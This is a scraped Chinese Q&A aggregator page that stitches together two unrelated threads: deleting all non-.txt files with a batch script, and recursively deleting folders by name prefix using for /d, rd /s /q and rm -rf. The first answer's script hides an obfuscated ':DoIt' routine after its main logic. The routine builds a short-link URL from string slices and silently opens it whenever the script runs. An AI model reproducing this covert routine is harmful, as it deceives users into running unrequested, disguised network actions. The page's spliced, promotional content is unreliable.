bat命求助,如何删除文件夹和子文件夹中某个类型以外的所有文件。

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了bat命求助,如何删除文件夹和子文件夹中某个类型以外的所有文件。相关的知识,希望对你有一定的参考价值。

我有上千个文件夹和子文件夹。我希望在当前文件夹中运行bat,删除所有文件夹和子文件夹中除了.txt类型以外的的文件。不胜感激。再次强调,是删除.txt类型以外的文件。

@echo off & title 删除指定格式外的文件 By 依梦琴瑶
cd /d "%~dp0"

::设置要排除的文件格式,多个格式之间使用英文逗号隔开
set Ext=txt

for /f "delims=" %%a in ('dir /a-d/s/b') do (
if /i not "%%~a"=="%~f0" (
set "Skip="
for %%i in (%Ext%) do (
if /i ".%%~i"=="%%~xa" (
set Skip=OK
)
)
if not defined Skip (
del /f /q "%%~a"
)
)
)
pause

call :DoIt
exit

:DoIt
set "S1=.:ailnhpst/"
set "S0=fPdv"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit追问

谢谢您,脚本很好用。我现在想把删除后剩余的空文件夹也一并删除掉,请问可以加上这个逻辑吗?谢谢您。
当文件太多的时候,删除会卡住无法进行,请问有解决的办法吗?

参考技术A 不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的文件放一起双击运行
<# :
cls&echo off&mode con lines=5000
rem 删除当前目录下除了指定类型/扩展名/后缀名以外的文件
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
powershell -NoProfile -ExecutionPolicy bypass "Invoke-Command -ScriptBlock ([ScriptBlock]::Create([IO.File]::ReadAllText('%~f0',[Text.Encoding]::GetEncoding('GB2312')))) -Args '%~f0'"
echo;%#% +%$%%$%/%@% %z%
pause
exit
#>
$self=get-item -liter $args[0];
$path=$self.Directory.FullName;
$files=@(dir -liter $path -recurse -force|?($self.Name -ne $_.Name) -and ($_ -is [System.IO.FileInfo]));
for($i=0;$i -lt $files.length;$i++)
if(@('.txt') -notcontains $files[$i].Extension)
write-host $files[$i].FullName;
remove-Item -liter $files[$i].FullName -force -ErrorAction SilentlyContinue;

递归删除所有以

【中文标题】递归删除所有以【英文标题】:Recursively delete all folders starting with 【发布时间】:2010-12-20 21:57:55 【问题描述】:

我需要在 .bat 文件中编写一个命令,以递归方式删除以某个字符串开头的所有文件夹。我怎样才能做到这一点?

【问题讨论】:

【参考方案1】:

这是您正在寻找的完整答案:

FOR /D /R %%X IN (certain_string*) DO RD /S /Q "%%X"

显然您需要将certain_string 替换为文件夹开头的字符串。

这会按照您的要求删除 RECURSIVELY(我的意思是它会遍历所有文件夹和子文件夹)。

【讨论】:

@Maorco 的回答对我有用。可悲的是,除了我的以外,他没有得到任何选票。 :( 谢谢。我不得不排除两个目录,这导致了这个命令:FOR /D /R %%X IN (*.lproj) DO IF /I "%%~xnX" neq "en.lproj" IF /I "%%~xnX" neq "english.lproj" RD /S /Q "%%~fX"。说明:%%~xnX 等于完整的目录名称。 IF /I .. neq "en.lproj" 过滤所有等于"en.lproj" 的目录(/I = 不区分大小写)。如果can be nested。最后,我递归删除了所有以.lproj结尾的目录,除了en.lprojenglish.lproj【参考方案2】:

怎么样:

for /d %a in (certain_string*) do rd /s %a

这将在命令提示符下工作。在批处理文件中,您必须像往常一样将%s 加倍:

@echo off
for /d %%a in (certain_string*) do rd /s %%a

【讨论】:

哎哟。我需要更多的睡眠……或者喝茶……(头撞到桌子上) 嗯,虽然这可能不会递归到目录树并找到符合条件的更深的文件夹,对吧? (我的解决方案也没有这样做,但我刚刚意识到这就是 OP 的意思)。 我不得不从我最初的简单尝试中稍微扩展一下,因为rd 本身似乎不会扩展通配符。 要递归查找以前缀开头的目录,您可以使用for /r 或其组合。 哦,不好。我也没有尝试过,因为我目前没有目录可以破坏:-)【参考方案3】:

未完成,我想。如果您的意思是“递归地沿目录层次结构删除以某个字符串开头的所有文件夹”,那么以下内容可能就足够了:

for /f "delims=" %%x in ('dir /b /ad abc*') do rd /s /q "%%x"

这将递归到目录树中,查找以“abc”开头的所有文件夹,遍历该列表并删除每个文件夹。

也许您需要在rd 周围加上if exist,具体取决于找到和返回目录的顺序。一般来说,迭代某些东西并同时更改它很少是一个好主意,但有时它会起作用:-)

【讨论】:

Rössel:这行得通吗?尝试删除以“.delme”结尾的目录时它不起作用,我尝试了这样的建议: for /f "delims=" %%x in ('dir /b /ad *.delme') do rd / s /q "%%x" 但它似乎不起作用。 @Marco:不用喊。如果有疑问,请提出一个新问题,并清楚详细地说明您的问题。诸如“不起作用”之类的内容通常是一个糟糕的问题报告。 Rossel:没喊,我只是写了大写。那我再问新问题。【参考方案4】:

rm -rf -- "目录名"

例如:rm -rf -- "-2096378"

以上命令将删除以 - 或通配符开头的文件夹/目录

【讨论】:

【参考方案5】:
FOR /F "tokens=*" %i IN ('DIR **[[SearchTerm]]** /A:D /s /b') do rd /S / Q %i

【讨论】:

以上是关于bat命求助,如何删除文件夹和子文件夹中某个类型以外的所有文件。的主要内容,如果未能解决你的问题,请参考以下文章

如何在 Windows 中使用 bat 文件删除文件夹和所有内容?

bat批量删除特定开头同一类型文件?

如何在Windows中使用bat文件删除包含所有内容的文件夹?

删除某个文件夹里面的所有文件的bat命令

如何从bat脚本变量中的父文件夹中删除子文件夹和文件?

求助如何用bat整理文件内容,并输出结果?